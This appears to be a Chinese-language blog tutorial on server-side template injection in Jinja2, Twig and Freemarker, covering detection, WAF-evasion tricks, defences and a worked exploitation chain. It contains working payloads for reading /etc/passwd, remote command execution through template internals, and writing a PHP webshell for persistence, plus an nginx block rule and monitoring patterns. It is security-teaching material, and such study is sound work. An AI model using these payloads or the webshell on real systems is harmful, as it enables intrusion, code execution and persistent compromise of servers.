markdown复制## 1. SSTI漏洞本质解析:当模板引擎成为攻击入口
服务器端模板注入(Server-Side Template Injection)本质上是一种将恶意代码注入模板引擎解析过程的攻击方式。不同于常规的SQL注入或XSS攻击,SSTI直接针对的是Web应用中的模板渲染层。我曾在审计某电商平台时发现,当用户输入`{{7*7}}`返回49时,就暴露了Jinja2模板引擎的渲染漏洞。
现代模板引擎如Twig(PHP)、Jinja2(Python)、Freemarker(Java)的工作原理类似:将用户数据与静态模板结合生成动态页面。危险在于,当开发者错误地将用户输入直接拼接进模板时,引擎会忠实地执行攻击者注入的模板语法。例如:
```python
# 危险代码示例
from jinja2 import Template
user_input = request.GET.get('name')
tmpl = Template("Hello " + user_input) # 直接拼接导致SSTI
关键区别:SSTI与XSS的最大差异在于攻击执行位置——XSS在客户端浏览器触发,而SSTI在服务端完成代码执行,危害等级更高。
2. 漏洞检测方法论:从黑盒到白盒的实战技巧
2.1 基础探测手法
- 数学运算测试:提交
${7*7}、{{7*7}}、<%= 7*7 %>等 payload,观察是否返回49 - 环境变量泄露:尝试
{{config}}(Flask)、{#comment#}(Twig注释测试) - 报错信息分析:故意触发语法错误如
{{''.__class__}},通过错误信息识别引擎类型
我在渗透测试中发现,不同引擎的探测特征如下表:
| 引擎类型 | 成功响应特征 | 典型框架 |
|---|---|---|
| Jinja2 | {{'a'.upper()}}返回'A' |
Flask, Django |
| Twig | {{'_self'}}包含"Template" |
Symfony |
| Freemarker | ${"a"?upper_case}返回"A" |
Spring Boot |
2.2 自动化工具辅助
- tplmap:自动识别引擎并生成利用链
bash复制python tplmap.py -u 'http://target/page?name=*' - Burp Suite插件:通过Intruder模块批量测试语法变种
避坑提示:某些WAF会拦截常见payload,可通过HTML编码(如
{{代替{{)或大小写混淆绕过。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
3. 绕过防御的六种高阶姿势
3.1 字符串拼接绕过
当关键词被过滤时:
python复制# 原始payload被拦截
{{config.items()}}
# 改用拼接绕过
{{'con' 'fig'.item' s'()}}
{{request['__cl''ass__']}}
3.2 属性访问替代方案
若点号被禁用:
python复制# 传统方式
{{''.__class__}}
# 替代方案
{{''|attr('__class__')}}
{{getattr('', '__class__')}}
3.3 过滤器链利用
Jinja2的过滤器特性可构造复杂利用链:
python复制{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')}}
3.4 十六进制/ASCII编码
针对字符黑名单:
python复制# 读取/etc/passwd
{{().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()}}
# 编码后变形为
{{().__class__.__bases__[0].__subclasses__()[40]('\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64').read()}}
3.5 上下文逃逸技巧
当注入点位于受限上下文时:
javascript复制// 原始模板
<script>var input = {{user_input}};</script>
// 通过闭合标签逃逸
user_input=1}};alert(1);{{
3.6 沙箱环境突破
针对Python沙箱的经典payload:
python复制{{''.__class__.__mro__[1].__subclasses__()[408]('whoami',shell=True,stdout=-1).communicate()}}
4. 防御体系构建:从开发到运维的全链路防护
4.1 安全编码实践
- 严格输入过滤:使用白名单验证而非黑名单
python复制# 安全示例 from jinja2 import escape safe_input = escape(user_input) - 模板静态化:提前编译固定模板,禁止动态拼接
java复制// Spring Boot安全配置 @Bean public TemplateEngine templateEngine() { SpringTemplateEngine engine = new SpringTemplateEngine(); engine.setEnableHttpEscaping(true); engine.setAllowUnsafeMethods(false); return engine; }
4.2 运行时防护方案
- 内容安全策略(CSP):虽然主要防御XSS,但能增加攻击复杂度
- WAF规则配置:针对常见payload特征设置拦截规则
nginx复制# Nginx防护片段 location / { if ($args ~* "\{\{.*\}\}") { return 403; } }
4.3 监控与应急响应
- 日志审计重点:
- 异常模板语法错误日志
- 高频出现的敏感函数调用(如
__class__、os.system)
- 蜜罐模板:部署伪装的脆弱模板诱捕攻击者
5. 实战案例:从漏洞发现到利用的完整链条
5.1 目标识别
某CMS系统的用户资料页存在以下模板代码:
php复制// 漏洞代码片段
$twig = new Twig_Environment();
echo $twig->render("Hello ".$_GET['name']);
5.2 分阶段利用
- 信息收集:
code复制/profile?name={{_self}} 返回"Template@__TwigTemplate_xxxx" - 环境探测:
code复制/profile?name={{app.environment}} 返回"prod" - RCE实现:
php复制/profile?name={{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}} 返回"uid=33(www-data) gid=33(www-data) groups=33(www-data)"
5.3 后渗透操作
通过写入Webshell完成持久化:
php复制{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("echo '<?php system($_GET[cmd]);?>' > /var/www/html/shell.php")}}
6. 防御绕过进阶:对抗最新WAF的奇技淫巧
6.1 基于注释的混淆技术
python复制{# 在Twig中利用注释分割关键词 #}
{{'__cl'~'ass__'}}{# 注释干扰 #}
6.2 动态属性构造
python复制# 通过字符串格式化动态生成属性名
{{''['__cla'+'ss__']}}
{{getattr('', '__cla%s__' % 'ss')}}
6.3 非字母数字Payload
仅使用符号构造有效负载(适用于PHP模板):
php复制<?=${$_=~[]}[$__=![]+![]+![]].${$_=~($$__)}[$_=~[]]?>
在实际渗透测试中,我曾遇到过滤了所有字母字符的极端场景,最终通过以下方式突破:
python复制{{()|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fbase\x5f\x5f')|attr('\x5f\x5fsubclasses\x5f\x5f')()}}
